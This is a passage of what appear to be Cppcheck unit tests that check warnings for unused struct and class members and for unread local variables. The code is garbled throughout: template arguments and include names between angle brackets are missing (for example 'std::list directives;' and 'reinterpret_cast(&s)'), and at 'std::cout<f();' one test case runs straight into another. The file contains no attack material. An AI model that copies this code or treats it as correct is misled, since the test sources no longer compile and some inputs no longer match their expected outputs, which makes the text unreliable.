\"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(char *ab)\\n\"\n \"{\\n\"\n \" ((AB *)ab)->b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember9() {\n checkStructMemberUsage(\"struct base {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct derived : public base {\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember10() {\n // Fred may have some useful side-effects\n checkStructMemberUsage(\"struct abc {\\n\"\n \" Fred fred;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember11() { // #4168\n checkStructMemberUsage(\"struct abc { int x; };\\n\"\n \"struct abc s = {0};\\n\"\n \"void f() { do_something(&s); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct abc { int x; };\\n\"\n \"struct abc s = {0};\\n\"\n \"void f() { }\");\n TODO_ASSERT_EQUALS(\"abc::x is not used\", \"\", errout_str());\n }\n\n void structmember12() { // #7179\n checkStructMemberUsage(\"#include \\n\"\n \"struct\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" int a;\\n\"\n \" } struct1;\\n\"\n \" };\\n\"\n \"} var = {0};\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" printf(\\\"var.struct1.a = %d\\\", var.struct1.a);\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember13() { // #3088 - struct members required by hardware\n checkStructMemberUsage(\"struct S {\\n\"\n \" int x;\\n\"\n \"} __attribute__((packed));\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember14() { // #6508\n checkStructMemberUsage(\"struct bstr { char *bstart; size_t len; };\\n\"\n \"struct bstr bstr0(void) {\\n\"\n \" return (struct bstr){\\\"hello\\\",6};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember15() { // #3088\n std::list directives;\n directives.emplace_back(\"test.cpp\", 1, \"#pragma pack(1)\");\n checkStructMemberUsage(\"\\nstruct Foo { int x; int y; };\", dinit(CheckStructMemberUsageOptions, $.directives = &directives));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember_extern() {\n // extern struct => no false positive\n checkStructMemberUsage(\"extern struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"} ab;\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ab.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // global linkage => no false positive\n checkStructMemberUsage(\"struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"} ab;\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ab.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static linkage => error message\n checkStructMemberUsage(\"static struct AB\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"} ab;\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ab.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) struct member 'AB::a' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct A\\n\"\n \"{\\n\"\n \" static const int a = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int foo()\\n\"\n \"{\\n\"\n \" return A::a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember_sizeof() {\n checkStructMemberUsage(\"struct Header {\\n\"\n \" uint8_t message_type;\\n\"\n \"}\\n\"\n \"\\n\"\n \"input.skip(sizeof(Header));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct Header {\\n\"\n \" uint8_t message_type;\\n\"\n \"}\\n\"\n \"\\n\"\n \"input.skip(sizeof(struct Header));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a, b, c; };\\n\" // #6561\n \"int f(FILE * fp) {\\n\"\n \" S s;\\n\"\n \" ::fread(&s, sizeof(S), 1, fp);\\n\"\n \" return s.b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember16() {\n checkStructMemberUsage(\"struct S {\\n\"\n \" static const int N = 128;\\n\" // <- used\n \" char E[N];\\n\" // <- not used\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) struct member 'S::E' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember17() { // #10591\n checkStructMemberUsage(\"struct tagT { int i; };\\n\"\n \"void f() {\\n\"\n \" struct tagT t{};\\n\"\n \" t.i = 0;\\n\" // <- used\n \" g(t);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"typedef struct tagT { int i; } typeT;\\n\"\n \"void f() {\\n\"\n \" struct typeT t{};\\n\"\n \" t.i = 0;\\n\" // <- used\n \" g(t);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct T { int i; };\\n\"\n \"void f() {\\n\"\n \" struct T t{};\\n\"\n \" t.i = 0;\\n\" // <- used\n \" g(t);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // due to removeMacroInClassDef()\n }\n\n void structmember18() { // #10684\n checkStructMemberUsage(\"struct S { uint8_t padding[500]; };\\n\"\n \"static S s = { 0 };\\n\"\n \"uint8_t f() {\\n\"\n \" uint8_t* p = (uint8_t*)&s;\\n\"\n \" return p[10];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) struct member 'S::padding' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct S { uint8_t padding[500]; };\\n\"\n \"uint8_t f(const S& s) {\\n\"\n \" std::cout << &s;\\n\"\n \" auto p = reinterpret_cast(&s);\\n\"\n \" return p[10];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) struct member 'S::padding' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct S { int i, j; };\\n\" // #11577\n \"void f(S s) {\\n\"\n \" void* p = (void*)&s;\\n\"\n \" if (s.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) struct member 'S::j' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember19() {\n checkStructMemberUsage(\"class C {};\\n\" // #10826\n \"struct S {\\n\"\n \" char* p;\\n\"\n \" std::string str;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"void f(S* s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) struct member 'S::p' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:17]: (style) struct member 'S::str' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:7]: (style) struct member 'S::c' is never used. [unusedStructMember]\\n\",\n errout_str());\n\n checkStructMemberUsage(\"class C {};\\n\"\n \"struct S {\\n\"\n \" char* p;\\n\"\n \" std::string str;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"void f(S& s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) struct member 'S::p' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:4:17]: (style) struct member 'S::str' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:7]: (style) struct member 'S::c' is never used. [unusedStructMember]\\n\",\n errout_str());\n\n checkStructMemberUsage(\"struct S {\\n\" // #10848\n \" struct T {\\n\"\n \" int i;\\n\"\n \" } t[2];\\n\"\n \"};\\n\"\n \"S s[1];\\n\"\n \"int f() {\\n\"\n \" return s[0].t[1].i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"struct T { S s; };\\n\"\n \"int f(const T** tp) {\\n\"\n \" return tp[0]->s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S* sp) {\\n\"\n \" return (*sp).a; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S** spp) {\\n\"\n \" return spp[0]->a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S** spp) {\\n\"\n \" return spp[0][0].a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S* sp) {\\n\"\n \" return sp[0].a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S* sp) {\\n\"\n \" return sp->a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"typedef struct { int i; } A;\\n\"\n \"typedef struct { std::vector v; } B;\\n\"\n \"const A& f(const std::vector& b, int idx) {\\n\"\n \" const A& a = b[0]->v[idx];\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:22]: (style) struct member 'A::i' is never used. [unusedStructMember]\\n\",\n errout_str());\n\n checkStructMemberUsage(\"struct A {\\n\" // #10852\n \" struct B {\\n\"\n \" int x;\\n\"\n \" } b;\\n\"\n \"} a;\\n\"\n \"void f() {\\n\"\n \" struct B* pb = &a.b;\\n\"\n \" pb->x = 1;\\n\"\n \"}\\n\", dinit(CheckStructMemberUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"union U {\\n\"\n \" struct A {\\n\"\n \" struct B {\\n\"\n \" int x;\\n\"\n \" } b;\\n\"\n \" } a;\\n\"\n \" struct C {\\n\"\n \" short s[2];\\n\"\n \" } c;\\n\"\n \"} u;\\n\"\n \"void f() {\\n\"\n \" struct B* pb = &u.a.b;\\n\"\n \" pb->x = 1;\\n\"\n \" struct C* pc = &u.c;\\n\"\n \" pc->s[0] = 1;\\n\"\n \"}\\n\", dinit(CheckStructMemberUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember20() { // #10737\n checkStructMemberUsage(\"void f() {\\n\"\n \" {\\n\"\n \" }\\n\"\n \" {\\n\"\n \" struct S { int a; };\\n\"\n \" S s{};\\n\"\n \" {\\n\"\n \" if (s.a) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember21() { // #4759\n checkStructMemberUsage(\"class C {\\n\"\n \"public:\\n\"\n \" int f() { return 0; }\\n\"\n \"};\\n\"\n \"C c;\\n\"\n \"int g() {\\n\"\n \" return c.f();\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" int f;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style) struct member 'S::f' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct A { int i; };\\n\"\n \"struct B { struct A* pA; };\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) struct member 'A::i' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:2:22]: (style) struct member 'B::pA' is never used. [unusedStructMember]\\n\",\n errout_str());\n }\n\n void structmember22() { // #11016\n checkStructMemberUsage(\"struct A { bool b; };\\n\"\n \"void f(const std::vector& v) {\\n\"\n \" std::vector::const_iterator it = b.begin();\\n\"\n \" if (it->b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember23() {\n checkStructMemberUsage(\"namespace N {\\n\"\n \" struct S { std::string s; };\\n\"\n \"}\\n\"\n \"std::string f() {\\n\"\n \" std::map m = { { 0, { \\\"abc\\\" } } };\\n\"\n \" return m[0].s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember24() { // #10847\n checkStructMemberUsage(\"struct S { std::map m; };\\n\"\n \"std::map u;\\n\"\n \"std::map::iterator f() {\\n\"\n \" return u.find(0)->second->m.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::map m = { { 0, S() } };\\n\"\n \" m[0].i = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { bool b; };\\n\"\n \"std::vector v;\\n\"\n \"bool f() {\\n\"\n \" return v.begin()->b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"int f(int s) {\\n\" // #10587\n \" const struct S { int a, b; } Map[] = { { 0, 1 }, { 2, 3 } };\\n\"\n \" auto it = std::find_if(std::begin(Map), std::end(Map), [&](const auto& m) { return s == m.a; });\\n\"\n \" if (it != std::end(Map))\\n\"\n \" return it->b;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"int f(int s) {\\n\"\n \" const struct S { int a, b; } Map[] = { { 0, 1 }, { 2, 3 } };\\n\"\n \" for (auto&& m : Map)\\n\"\n \" if (m.a == s)\\n\"\n \" return m.b;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct R { bool b{ false }; };\\n\" // #11539\n \"void f(std::optional r) {\\n\"\n \" if (r.has_value())\\n\"\n \" std::cout << r->b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember25() {\n checkStructMemberUsage(\"struct S {\\n\" // #12485\n \" S* p;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) struct member 'S::p' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:3:9]: (style) struct member 'S::i' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:6:7]: (style) struct member 'T::s' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:7:9]: (style) struct member 'T::j' is never used. [unusedStructMember]\\n\",\n errout_str());\n }\n\n void structmember26() { // #13345\n checkStructMemberUsage(\"struct foobar {\\n\"\n \" char unused;\\n\"\n \"};\\n\"\n \"size_t offset_unused = offsetof(struct foobar, unused);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember27() { // #13367\n checkStructMemberUsage(\"typedef struct pathNode_s {\\n\"\n \" struct pathNode_s* next;\\n\"\n \"} pathNode_t;\\n\"\n \"void f() {\\n\"\n \" x y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", // don't crash\n errout_str());\n }\n\n void structmember28() {\n checkStructMemberUsage(\"struct S {\\n\"\n \" unsigned int a : 16;\\n\"\n \" unsigned int : 16;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) struct member 'S::a' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember_macro() {\n checkStructMemberUsageP(\"#define S(n) struct n { int a, b, c; };\\n\"\n \"S(unused);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember_template_argument() { // #13887 - False positive\n checkStructMemberUsage(\"template struct A{ T buf[i]; }\\n\"\n \"struct B {\\n\"\n \" constexpr int x = 20;\\n\" // <- not unused\n \" A a;\\n\" // <- unused\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) struct member 'B::a' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void classmember() {\n checkStructMemberUsage(\"class C {\\n\"\n \" int i{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) class member 'C::i' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \" int i{}, j{};\\n\"\n \"public:\\n\"\n \" int& get() { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) class member 'C::j' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \"private:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class D : public C {};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) class member 'C::i' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \"public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class D : C {};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) class member 'C::i' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \"public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class D : public C {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmemberStructuredBinding() { // #13107\n checkStructMemberUsage(\"struct S { int a, b; };\\n\"\n \"void f(S &s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" x = y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a, b; };\\n\"\n \"struct T { S s; };\\n\"\n \"void f(T &t) {\\n\"\n \" auto& [x, y] = t.s;\\n\"\n \" x = y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a, b; };\\n\"\n \"void f(std::vector &sv) {\\n\"\n \" for (auto& [x, y] : sv)\\n\"\n \" x = y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13551 - don't crash\n checkStructMemberUsage(\"struct S {};\\n\"\n \"void f(vector> p) {\\n\"\n \" for (auto [a, _] : p) {\\n\"\n \" if (a == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar1() {\n // extracttests.disable\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // if a is undefined then Cppcheck can't determine if \"int i(a)\" is a\n // * variable declaration\n // * function declaration\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" int i(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" int & i = j;\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" const int & i = j;\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" int & i(j);\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" const int & i(j);\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * j = Data;\\n\"\n \" int * i(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * j = Data;\\n\"\n \" const int * i(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" bool i = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" bool i = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *i;\\n\"\n \" i = fgets();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // undefined variables are not reported because they may be classes with constructors\n functionVariableUsage(\"undefined foo()\\n\"\n \"{\\n\"\n \" undefined i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (information) --check-library: Provide configuration for undefined [checkLibraryCheckType]\\n\", errout_str());\n\n functionVariableUsage(\"undefined foo()\\n\"\n \"{\\n\"\n \" undefined i = 0;\\n\"\n \"}\\n\",\n dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\n \"[test.c:3:17]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.c:3:15]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = undefined;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * i = Data;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" void * i = Data;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:14]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" const void * i = Data;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct S * i = DATA;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:16]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" const struct S * i = DATA;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:24]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:22]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct S & i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" const struct S & i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" undefined * i = X;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:19]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:17]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" int j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:11]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:9]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i[10] = { 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int n)\\n\"\n \"{\\n\"\n \" int i[n] = { 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char i[10] = \\\"123456789\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *i = \\\"123456789\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0,code=10;\\n\"\n \" for(i = 0; i < 10; i++) {\\n\"\n \" std::cout<f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char * i;\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char * i = 0;\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char * i = new char[10];\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *i;\\n\"\n \" f(i);\\n\"\n \"}\");\n\n functionVariableUsage(\"int a;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" return &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *p = a;\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *p = &a[0];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n 